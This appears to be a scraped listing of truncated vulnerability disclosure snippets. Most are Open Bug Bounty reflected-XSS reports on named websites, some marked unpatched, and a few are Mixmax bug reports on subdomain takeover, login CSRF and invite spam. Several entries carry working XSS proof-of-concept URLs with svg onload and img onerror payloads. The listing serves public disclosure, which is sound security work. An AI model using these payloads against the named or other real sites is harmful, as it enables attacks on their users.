waldata.fr XSS vulnerability

Vulnerable URL: http://www.waldata.fr/users/perteidentifiant.asp Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1206440 VIP website status:| No Check waldata.fr SSL connection:|...

insurtechnews.com XSS vulnerability

Vulnerable URL: https://insurtechnews.com/news?from=2017-05-30=%22%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at 26.11.2017 Latest check for patch:| 26.11.2017 14:33 GMT Vulnerability type:| XSS Vulnerability status:| Publicly...

ticketbande.ru XSS vulnerability

Vulnerable URL: http://www.ticketbande.ru/search Details: Description| Value ---|--- Patched:| Yes, at 26.06.2017 Latest check for patch:| 26.06.2017 05:13 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 9618573 VIP website status:| No Check ticketbande.ru SSL...

ticketbande.co.uk XSS vulnerability

Vulnerable URL: http://www.ticketbande.co.uk/search Details: Description| Value ---|--- Patched:| Yes, at 26.06.2017 Latest check for patch:| 26.06.2017 05:13 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

shiguangkey.com XSS vulnerability

Vulnerable URL:...

Mixmax: Subdomain takeover (sales.mixmax.com)

Unused DNS record was reported, we promptly removed...

Mixmax: Possible Subdomain Takeover

None of the weakness categories really fit this so I apologize for that. The subdomain sales.mixmax.com points to 151.101.16.229, a webflow.io proxy server. Because it 404s, this leads me to believe that a subdomain takeover is possible through the webflow service as whatever this is pointing to ...

Mixmax: Attacker can trick other into logging in as themselves

Hi Team, This bug is similar to bug report https://hackerone.com/reports/2228 as this bug also allows a user to be logged in as the attacker. An attacker can escalate this to attach his account with the victims profile and monitor his activities. Login CSRF is a type of attack where the attacker...

Mixmax: mailbomb through invite feature on chrome addon

We didn't rate-limit our API to invite users to Mixmax, leading to potential spamming...

cartocopyservice.it XSS vulnerability

Vulnerable URL: http://www.cartocopyservice.it/index.php/ricerca?q=%253Csvg%2520onload=alert%28/OPENBUGBOUNTY/%29%253E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4151576 VIP...

facenagasaki.jp XSS vulnerability

Vulnerable URL: http://facenagasaki.jp/blog.php?id=%3Csvg/onload=alert/OPENBUGBOUNTY/ Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 7385265 VIP website status:| No Check facenagasaki.jp SSL connection:| Grade: ...

ticketbande.de XSS vulnerability

Vulnerable URL: https://www.ticketbande.de/search Details: Description| Value ---|--- Patched:| Yes, at 26.06.2017 Latest check for patch:| 26.06.2017 05:10 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 327806 VIP website status:| No Check ticketbande.de SSL...

new.de XSS vulnerability

Open Bug Bounty ID: OBB-242968 Description| Value ---|--- Affected Website:| new.de Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

stavropol.ucheba.ru XSS vulnerability

Vulnerable URL: http://stavropol.ucheba.ru/search?eq=s:"'--!fr=to= Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check stavropol.ucheba.ru SSL connection:| Grade...

belgorod.ucheba.ru XSS vulnerability

Vulnerable URL: http://belgorod.ucheba.ru/search?eq=s:"'--!fr=to= Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check belgorod.ucheba.ru SSL connection:| Grade: ...

kaliningrad.ucheba.ru XSS vulnerability

Vulnerable URL: http://kaliningrad.ucheba.ru/search?eq=s:"'--!fr=to= Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check kaliningrad.ucheba.ru SSL connection:|...

thelabels.ulmart.ru XSS vulnerability

Vulnerable URL: https://thelabels.ulmart.ru/fashion/goods/36?rootCategory=97375=1=60=0=OnM=Lg=NEW"'--!=ALL===640=2190================== Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP...

forums.somethingawful.com XSS vulnerability

Vulnerable URL: https://forums.somethingawful.com/showthread.php?threadid=3386435=0=40="'--!...

konerry.com XSS vulnerability

Open Bug Bounty ID: OBB-242901 Description| Value ---|--- Affected Website:| konerry.com Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

sdeibar.com XSS vulnerability

Vulnerable URL: http://www.sdeibar.com/buscador?buscar=%253csvg%2Fonload%3Dprompt%2FOPENBUGBOUNTY%2F%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 407566 VIP website status:| N...